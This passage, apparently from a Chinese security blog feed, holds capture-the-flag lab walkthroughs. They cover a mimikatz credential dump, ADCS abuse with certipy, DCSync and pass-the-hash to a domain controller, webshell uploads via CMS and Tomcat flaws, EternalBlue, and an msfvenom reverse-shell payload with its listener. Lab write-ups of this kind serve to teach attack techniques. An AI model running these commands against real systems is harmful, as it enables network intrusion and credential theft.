SID               : S-1-5-21-332097019-2215467117-1557799732-500
    msv :
     [00000003] Primary
     * Username : Administrator
     * Domain   : CYBERWEB
     * NTLM     : c377ba8a4dd52401bc404dbe49771bbc
     * SHA1     : d9ac14100bf4e36f6807dd3c29051983b2d58d3d
    tspkg :
    wdigest :
     * Username : Administrator
     * Domain   : CYBERWEB
     * Password : (null)
    kerberos :
     * Username : Administrator
     * Domain   : CYBERWEB
     * Password : (null)
    ssp :
    credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2025/7/28 15:57:42
SID               : S-1-5-19
    msv :
    tspkg :
    wdigest :
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :
    credman :

Authentication Id : 0 ; 51033 (00000000:0000c759)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2025/7/28 15:57:41
SID               : S-1-5-90-0-1
    msv :
     [00000003] Primary
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * NTLM     : 920b50d415293af20c90081902d5a230
     * SHA1     : 7015ad57cbfd8c1b5ed1817aae76968ec514623f
    tspkg :
    wdigest :
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * Password : (null)
    kerberos :
     * Username : CYBERWEB$
     * Domain   : cyberstrikelab.com
     * Password : 38 5f 72 f0 99 f1 c7 7b e3 1c d4 62 0f 41 69 46 52 9d 2f 87 d3 a1 6f 6c 2f 1d 50 20 c7 f4 76 b1 e5 fb 98 c6 0c 7c 68 61 a1 a0 8c 98 fc 41 16 49 da 7d 1c 67 6f 43 3a 70 60 70 7b e1 54 ba 02 22 1e eb 9c 90 57 52 ef 24 a2 88 b0 39 84 8d dc b2 db b8 28 55 2c 4c 51 aa 57 eb ba 32 d7 24 d7 1e 6e 51 b2 9d b3 3b b4 98 1d 3b d6 01 0d 0c 43 94 cb 58 32 f0 b5 1f a0 e0 8a 76 b1 35 70 a8 b2 54 de 09 b5 d8 75 51 64 03 da 30 09 fc ea a6 ca db de a7 85 02 74 5c 3f 77 44 a9 cb 7a c9 c5 03 d4 df e4 db 2c 73 83 aa 09 d6 1c ad 7f 5e 20 d1 5e ca 01 41 8c 92 a3 55 ab bb 80 8d 5b bd 72 ba 7a 3c ea 5a 15 48 d2 22 98 6b 71 1d 25 51 c7 6b 4d 24 e5 3a 94 2e 38 cb 7d 40 96 ee 80 90 27 e7 25 b0 dd f4 21 61 58 de 67 bc 47 08 c3 fd 98 ef 1c
    ssp :
    credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : CYBERWEB$
Domain            : CYBERSTRIKELAB
Logon Server      : (null)
Logon Time        : 2025/7/28 15:57:39
SID               : S-1-5-18
    msv :
    tspkg :
    wdigest :
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * Password : (null)
    kerberos :
     * Username : cyberweb$
     * Domain   : CYBERSTRIKELAB.COM
     * Password : 38 5f 72 f0 99 f1 c7 7b e3 1c d4 62 0f 41 69 46 52 9d 2f 87 d3 a1 6f 6c 2f 1d 50 20 c7 f4 76 b1 e5 fb 98 c6 0c 7c 68 61 a1 a0 8c 98 fc 41 16 49 da 7d 1c 67 6f 43 3a 70 60 70 7b e1 54 ba 02 22 1e eb 9c 90 57 52 ef 24 a2 88 b0 39 84 8d dc b2 db b8 28 55 2c 4c 51 aa 57 eb ba 32 d7 24 d7 1e 6e 51 b2 9d b3 3b b4 98 1d 3b d6 01 0d 0c 43 94 cb 58 32 f0 b5 1f a0 e0 8a 76 b1 35 70 a8 b2 54 de 09 b5 d8 75 51 64 03 da 30 09 fc ea a6 ca db de a7 85 02 74 5c 3f 77 44 a9 cb 7a c9 c5 03 d4 df e4 db 2c 73 83 aa 09 d6 1c ad 7f 5e 20 d1 5e ca 01 41 8c 92 a3 55 ab b 6b 4d 24 e5 3a 94 2e 38 cb 7d 40 96 ee 80 90 27 e7 25 b0 dd f4 21 61 58 de 67 bc 47 08 c3 fd 98 ef 1c
    ssp :
    credman :
</code></pre>
<pre><code class="language-bash">     [00000003] Primary
     * Username : CYBERWEB$
     * Domain   : CYBERSTRIKELAB
     * NTLM     : 331dcbb88d1a4847c97eab7c1c168ac8
     * SHA1     : 0a4c17b8f051223716e86c36f1dec902e266c773</code></pre>
<p>获取到机器用户在域内的 hash</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2018.png" alt="image.png" /></p>
<p>获取到CA的名字为 <code>cyberstrikelab-DC-CA</code></p>
<p>然后设置本机的hosts</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2019.png" alt="image.png" /></p>
<p>然后就</p>
<pre><code class="language-bash">certipy account create -u cslab -p "cs1ab@wwe" -dc-ip 10.6.6.55 -user tmpuser -dns DC.cyberstrikelab.com -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.6.6.55:636 - ssl
[+] Default path: DC=cyberstrikelab,DC=com
[+] Configuration path: CN=Configuration,DC=cyberstrikelab,DC=com
[*] Creating new account:
    sAMAccountName                      : tmpuser$
    unicodePwd                          : xBhDJlYDC0zfFpkc
    userAccountControl                  : 4096
    servicePrincipalName                : HOST/tmpuser
                                          RestrictedKrbHost/tmpuser
    dnsHostName                         : DC.cyberstrikelab.com
[*] Successfully created account 'tmpuser$' with password 'xBhDJlYDC0zfFpkc'</code></pre>
<pre><code class="language-bash">certipy req -u 'tmpuser$@cyberstrikelab.com' -p 'xBhDJlYDC0zfFpkc' -ca 'cyberstrikelab-DC-CA' -target 10.6.6.55 -template 'Machine' -dc-ip 10.6.6.55

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error: The NETBIOS connection with the remote host timed out.
[-] Use -debug to print a stacktrace
certipy req -u 'tmpuser$@cyberstrikelab.com' -p 'xBhDJlYDC0zfFpkc' -ca 'cyberstrikelab-DC-CA' -target 10.6.6.55 -template 'Machine' -dc-ip 10.6.6.55
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with DNS Host Name 'DC.cyberstrikelab.com'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'dc.pfx'</code></pre>
<p>这里不知道为什么要运行两次</p>
<p>之后会生成<code>dc.pfx</code>在本地</p>
<p>利用证书即获取域控机器账号的Hash</p>
<pre><code class="language-bash">certipy auth -pfx dc.pfx -dc-ip 10.6.6.55 -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: dc$@cyberstrikelab.com
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)</code></pre>
<p>这里显示时间差别太大了，实际上从 rdp 里面的机器也能看出来，</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2020.png" alt="image.png" /></p>
<p>Linux 和 mac 可以使用faketime 来做，减掉对应的时间就是了</p>
<pre><code class="language-bash">faketime '2025-08-06 14:21:01' certipy auth -pfx dc.pfx -dc-ip 10.6.6.55 -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: dc$@cyberstrikelab.com
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc.ccache'
[*] Trying to retrieve NT hash for 'dc$'
[*] Got hash for 'dc$@cyberstrikelab.com': aad3b435b51404eeaad3b435b51404ee:482df2442b1f874c83ab5de7dd725ddc</code></pre>
<p>于是我们获取了域控机器的 hash</p>
<p>然后再进行DCsync</p>
<p>这里使用的是 impacket 工具包里面的 secretsdump.py</p>
<pre><code class="language-bash">secretsdump.py cyberstrikelab.com/dc\$@10.6.6.55 -hashes aad3b435b51404eeaad3b435b51404ee:482df2442b1f874c83ab5de7dd725ddc</code></pre>
<pre><code class="language-bash">secretsdump.py cyberstrikelab.com/dc\$@10.6.6.55 -hashes aad3b435b51404eeaad3b435b51404ee:482df2442b1f874c83ab5de7dd725ddc
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:28cfbc91020438f2a064a63fff9871fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:416f4ea64c9c73ad29a4a69dcee5d8ca:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cyberstrikelab.com\cslab:1104:aad3b435b51404eeaad3b435b51404ee:39b0e84f13872f51efb3b8ba5018c517:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:482df2442b1f874c83ab5de7dd725ddc:::
CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:9d3f92c16f06d0b8d3390d4b53488b76:::
tmpuser$:1107:aad3b435b51404eeaad3b435b51404ee:0a7e5e1de0b79e113b9dc02cb004ed15:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:8583c13a9eca67e085ff0b68af74316bef0ebd3fb197bb235b76cbb72358f2ef
Administrator:aes128-cts-hmac-sha1-96:6012285d474e3b60086965219ac7e31c
Administrator:des-cbc-md5:208fc8f42fae3132
krbtgt:aes256-cts-hmac-sha1-96:0b820697b640266ced6843c4041131c1e3750000e00d47c0c597a82547927337
krbtgt:aes128-cts-hmac-sha1-96:c8f683e4cf2033fd75416667670e13bb
krbtgt:des-cbc-md5:23dc674a76bf7adc
cyberstrikelab.com\cslab:aes256-cts-hmac-sha1-96:34439b0bf9f6e1bf57d4d859215ed387a9c75e944ac053ddd1bc2f1e5b162048
cyberstrikelab.com\cslab:aes128-cts-hmac-sha1-96:84a132b5db39e2e652c08b8148fecb00
cyberstrikelab.com\cslab:des-cbc-md5:46f457ef2aad0e08
DC$:aes256-cts-hmac-sha1-96:68902804f6933fec4debd12481dac00c7468b392e0266e5a4898bcee7fd22ce3
DC$:aes128-cts-hmac-sha1-96:3a88a783de38d955a018aeaba32c4b4a
DC$:des-cbc-md5:7f46e9e36ba45b45
CYBERWEB$:aes256-cts-hmac-sha1-96:cae6f8e0b2f7778c238b6b75aef589610c469c6f51559dcf7132e993bff990e1
CYBERWEB$:aes128-cts-hmac-sha1-96:02d5f2e0b41b03161ea967377321ad8d
CYBERWEB$:des-cbc-md5:5d5e3b1a08c1dcf2
tmpuser$:aes256-cts-hmac-sha1-96:f1826b17f760d2875d74cfb8c88cd153d94775f71919bee994fca8f586a4ea65
tmpuser$:aes128-cts-hmac-sha1-96:9683f171e27ec0b1ca9e3a7f0fb86bc0
tmpuser$:des-cbc-md5:9ea2918076ab1f9e
[*] Cleaning up... </code></pre>
<p>这下直接 PTH 就行了</p>
<pre><code class="language-bash">smbexec.py administrator@10.6.6.55 -hashes :28cfbc91020438f2a064a63fff9871fa
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32&gt;more C:\\flag.txt
go-flag{1DDE8542-F56B-486D-A661-E9AA83874EFA}

C:\Windows\system32&gt;</code></pre>]]></description>
    <pubDate>Wed, 06 Aug 2025 22:41:12 +0800</pubDate>
    <dc:creator>YD233</dc:creator>
    <guid>http://yd233.top/?post=35</guid>
</item>
<item>
    <title>cyberstirkelab-LAB2</title>
    <link>http://yd233.top/?post=34</link>
    <description><![CDATA[<h1>192.168.10.10</h1>
<h2>信息收集</h2>
<p>开局给个ip</p>
<p>192.168.10.10</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image.png" alt="image.png" /></p>
<p>使用nmap扫描看看什么情况</p>
<pre><code class="language-bash">sudo nmap -sS -p- -A -e utun4 192.168.10.10</code></pre>
<p><code>-e utun4</code> 选项是因为mac要指定网卡, 不然会扫出问题来</p>
<pre><code class="language-bash">PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
808/tcp   open  http          Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
|_http-title: \xE9\xAA\x91\xE5\xA3\xABPHP\xE9\xAB\x98\xE7\xAB\xAF\xE4\xBA\xBA\xE6\x89\x8D\xE7\xB3\xBB\xE7\xBB\x9F(www.74cms.com)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
3306/tcp  open  mysql         MySQL (unauthorized)
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -8h00m01s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2025-05-27T04:22:41
|_  start_date: N/A</code></pre>
<p>可以看到808端口跑的是web服务</p>
<p>3306存在mysql服务</p>
<h2>web渗透</h2>
<p>访问808端口</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%201.png" alt="image.png" /></p>
<p>上网搜到, 网站的后台在?m=Admin里面</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%202.png" alt="image.png" /></p>
<p>先尝试一下爆破账号密码吧</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%203.png" alt="image.png" /></p>
<p>爆破出来是admin123456</p>
<p>找个文件上传点看看能不能上传</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%204.png" alt="image.png" /></p>
<p>直接上传php失败了</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%205.png" alt="image.png" /></p>
<p>接下来也找了好几个上传点都没成功, 于是上网搜Nday, 发现有一个后台的Getshell</p>
<p>在这个位置点击可用的模板, 然后抓包</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%206.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%207.png" alt="image.png" /></p>
<p>将tpl_dir改成这样就可以得到一个webshell, shell写进了下面的路径内</p>
<p><code>192.168.10.10:808/Application/Home/Conf/config.php</code></p>
<p>然后使用哥斯拉连接</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%208.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%209.png" alt="image.png" /></p>
<p>可以看到这是一台windows的机器, 是32位的</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2010.png" alt="image.png" /></p>
<p>上去也直接是system权限了, 那接下来可以考虑看看内网接着渗透了</p>
<p>首先使用stowaway和10建立连接</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2011.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2012.png" alt="image.png" /></p>
<p>成功连接之后先把stowaway复制到根目录, 方便等下其他机器下载</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2013.png" alt="image.png" /></p>
<p>接着先得到第一个flag</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2014.png" alt="image.png" /></p>
<p>然后看一下它的网络情况</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2015.png" alt="image.png" /></p>
<p>嗯? 怎么只有一个网卡? </p>
<p>也就是说可能其他机器在10网段咯, 惯性思维导致的哈哈哈</p>
<h1>192.168.10.20</h1>
<p>使用nmap扫描</p>
<p>发现了这台机器</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2016.png" alt="image.png" /></p>
<p>使用更详细的扫描看看是什么情况</p>
<pre><code class="language-bash">PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp  open  http         Apache Tomcat (language: en)
|_http-title: Apache Tomcat/8.5.19
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Apache Tomcat
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49167/tcp open  msrpc        Microsoft Windows RPC

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: CYBERWEB, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 30:f7:e6:e5:8b:d1 (unknown)
| smb2-security-mode:
|   3:0:2:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2025-05-27T06:30:02
|_  start_date: 2025-05-27T03:46:53
|_clock-skew: mean: -7h59m59s, deviation: 0s, median: -8h00m00s
</code></pre>
<p>从这个扫描结果可以分析出很多东西出来</p>
<ol>
<li>存在一个Tomcat, 可以尝试tomcat的Nday来获取 shell</li>
<li>目标windows版本较低, 且445端口开启, 可以尝试永恒之蓝</li>
<li>目标时间与我们相差八小时, 对 Kerberos 有潜在影响</li>
</ol>
<p>我们首先先尝试永恒之蓝, 因为它利用简单, 而且我们和他可以直接互通, 不需要搭建端口转发</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2017.png" alt="image.png" /></p>
<p>失败了, 那么接下来尝试tomcat的漏洞</p>
<p>这个版本的tomcat, 应该是存在PUT文件上传漏洞的, 可以写jsp的木马</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2018.png" alt="image.png" /></p>
<p>按照如下方式进行PUT文件上传即可, 记得上传文件名后面一定要加斜杠</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2019.png" alt="image.png" /></p>
<p>和刚刚一样的流程, 查到机器是64位的</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2020.png" alt="image.png" /></p>
<p>权限不是最高的, 不过也足够运行stowaway了,</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2021.png" alt="image.png" /></p>
<p>先获取flag先</p>
<p>发现权限很低, 似乎哪里都无法上传, 所以直接使用yakit传过去</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2022.png" alt="image.png" /></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2023.png" alt="image.png" /></p>
<p>ok也是连上了, 先看看网卡情况</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2024.png" alt="image.png" /></p>
<p>然后如法炮制传一个gogo上去, 使用gogo对内网进行扫描, 确定是20.30之后进行全端口扫描</p>
<pre><code class="language-bash">gogo.exe -p - -ev -i 192.168.20.30</code></pre>
<pre><code class="language-bash">[+] tcp://192.168.20.30:593          [open] ncacn_http/1.
[+] tcp://192.168.20.30:636          [open]
[+] netbios://192.168.20.30:137         CYBERSTRIKELAB\WIN-7NRTJO59O7N [sharingDC]
[+] wmi://192.168.20.30:135     wmi:default / [wmi] /
[+] tcp://192.168.20.30:464          [open]
[+] tcp://192.168.20.30:389     ldap:guess   [open]
[+] tcp://192.168.20.30:88      kerberos:guess   [open]
[+] tcp://192.168.20.30:3269             [open]
[+] tcp://192.168.20.30:3268             [open]
[+] tcp://192.168.20.30:139          [open] \x83\x00\x00\x01\x8f
[+] tcp://192.168.20.30:9389             [open]
[+] tcp://192.168.20.30:53           [open]
[+] http://192.168.20.30:47001  Microsoft-HTTPAPI/2.0   microsoft-httpapi    [404] Not Found
[+] tcp://192.168.20.30:49157            [open] ncacn_http/1.
[+] tcp://192.168.20.30:389     ldap:guess   [open]
[+] icmp://192.168.20.30:icmp            [pong]
[+] wmi://192.168.20.30:135 (oxid)          WIN-7NRTJO59O7N [OXID] 192.168.20.30
[+] tcp://192.168.20.30:49197       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49171       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49153       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49156       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49152       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49166       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49154       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49161       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49158       socks5   [open] \x05\x00\r\x03\x10\x00\x00\x00\x18\x00\x00\x00\x00 [ high: socks5_unauthorized payloads:path:\x05\x01\x02 ]
[+] tcp://192.168.20.30:49173            [open]</code></pre>
<p>这个windows 看了一下 应该是可以永恒之蓝直接打, 于是使用msf直接启动</p>
<pre><code class="language-bash">use admin/smb/ms17_010_command
set Rhosts 192.168.20.30
set command more C:\\flag.txt
run</code></pre>
<p>注意这里的双斜杠, 实际上 \f会被解析掉,所以我们得用双斜杠</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2025.png" alt="image.png" /></p>
<p>完成!</p>]]></description>
    <pubDate>Wed, 30 Jul 2025 17:22:02 +0800</pubDate>
    <dc:creator>YD233</dc:creator>
    <guid>http://yd233.top/?post=34</guid>
</item>
<item>
    <title>cyberstrikelab-LAB1</title>
    <link>http://yd233.top/?post=33</link>
    <description><![CDATA[<h1>lab1</h1>
<p>给的地址是192.168.10.10</p>
<p>访问了发现web页面是一个eyoucms</p>
<p>192.168.10.10/data/conf/version.txt</p>
<p>访问这个路径可以获取eyoucms的版本</p>
<p>可以看到版本相当的老</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image.png" alt="image.png" /></p>
<p>1.0.9</p>
<h2>192.168.10.10 获取shell方式</h2>
<h3>方式1 找CMS nday</h3>
<p>网上也随便找了个打的</p>
<p><a href="https://blog.csdn.net/qq_48985780/article/details/121945304">EyouCms前台GetShell漏洞复现_eyoucms漏洞-CSDN博客</a></p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%201.png" alt="image.png" /></p>
<p>上传成功</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%202.png" alt="image.png" /></p>
<p>也可以访问，那么就可以考虑上webshell了</p>
<h3>方式2 thinkphp nday</h3>
<p>实际上这个eyoucms是thinkphp搭建的，那么按理来说thinkphp的nday也是可以打的</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%203.png" alt="image.png" /></p>
<p>漏洞还不少，随便选一个就能打</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%204.png" alt="image.png" /></p>
<p>直接上传shell就是连</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%205.png" alt="image.png" /></p>
<p>好家伙还是最高权限，那就不用费心思提权了</p>
<p>flag1直接在根目录，直接看就是了</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%206.png" alt="image.png" /></p>
<p>msf木马生成&amp;监听</p>
<pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.233.2 LPORT=4444 -f exe -o 木马/reverse.exe
</code></pre>
<pre><code class="language-bash">use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.233.2
set lport 4444
run</code></pre>
<p>之后把马传上去，运行一下就可以了</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%207.png" alt="image.png" /></p>
<p>目前所在的域</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%208.png" alt="image.png" /></p>
<p>不属于任何域</p>
<p>检查一下网络情况</p>
<p>输入ipconfig</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%209.png" alt="image.png" /></p>
<p>可以使用msf来自动添加路由</p>
<pre><code class="language-bash">run post/multi/manage/autoroute</code></pre>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2010.png" alt="image.png" /></p>
<p>这样我们在msf里面的操作就会走这两个路由了</p>
<p>然后准备进行内网探测</p>
<p>先使用background把当前session挂到后台</p>
<pre><code class="language-bash">use auxiliary/scanner/portscan/tcp
set ports 135,139,445,23,80,8080
set rhosts 192.168.20.0-192.168.20.255
set threads 100
run</code></pre>
<p>可以看到有三个主机存活</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2011.png" alt="image.png" /></p>
<p>分别是</p>
<pre><code class="language-bash">192.168.20.10   # 这是当前主机
192.168.20.20
192.168.20.30</code></pre>
<p>剩下两台，我们需要更详细的探测</p>
<p>直接传一个内网扫描工具吧</p>
<p>我这边选择的是gogo</p>
<p>使用upload指令将gogo传到靶机上</p>
<p><img src="https://blog-1312412390.cos.ap-hongkong.myqcloud.com/image%2012.png" alt="image.png" /></p>
<p>然后输入shell进入cmd，使用gogo对刚刚两个主机进行详细的扫描</p>
<pre><code class="language-bash">gogo_windowsxp_386.exe -p - -ev -i 192.168.20.20</code></pre>
<p>得到扫描结果了</p>
<pre><code class="language-bash">gogo_windowsxp_386.exe -p - -ev -i 192.168.20.20
[*] gogo: , 2025-05-20 05:41.56
[*] Current goroutines: 1000, Version Level: 1,Exploit: auto, PortSpray: false , 2025-05-20 05:41.57
[*] Start task 192.168.20.20 ,total ports: 65537 , mod: default , 2025-05-20 05:41.57
[*] too much ports , only show top 100 ports: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100...... , 2025-05-20 05:41.57
[*] Default Scan is expected to take 264 seconds , 2025-05-20 05:41.57
[+] netbios://192.168.20.20:137         CYBERSTRIKELAB\CYBERWEB        [sharing]
[+] wmi://192.168.20.20:135     wmi:default / [wmi] /
[+] smb://192.168.20.20:445     smb:Windows 8.1/Server2012 R2(6.3.9600):default cyberstrikelab.com/cyberweb.cyberstrikelab.com [SMB1] Windows Server 2012 R2 Standard 9600 [ critical: MS17-010 ]
[+] tcp://192.168.20.20:139          [open] \x83\x00\x00\x01\x8f
[+] http://192.168.20.20:5985   Microsoft-HTTPAPI/2.0   microsoft-httpapi    [404] Not Found
[+] http://192.168.20.20:47001  Microsoft-HTTPAPI/2.0   microsoft-httpapi    [404] Not Found
[+] icmp://192.168.20.20:icmp            [pong]
[+] wmi://192.168.20.20:135 (oxid)          cyberweb [OXID] 192.168.20.20
[+] tcp://192.168.20.20:49156            [open]
[+] tcp://192.168.20.20:49158            [open]
[+] tcp://192.168.20.20:49153            [open]
[+] tcp://192.168.20.20:49154            [open]
[+] tcp://192.168.20.20:49159            [open]
[+] tcp://192.168.20.20:49157            [open]
[+] tcp://192.168.20.20:49155            [open]
[+] tcp://192.168.20.20:49152            [open]
[*] Alived: 16, Total: 65537 , 2025-05-20 05:43.16
[*] Time consuming: 1m19.1010583s , 2025-05-20 05:43.16</code></pre>
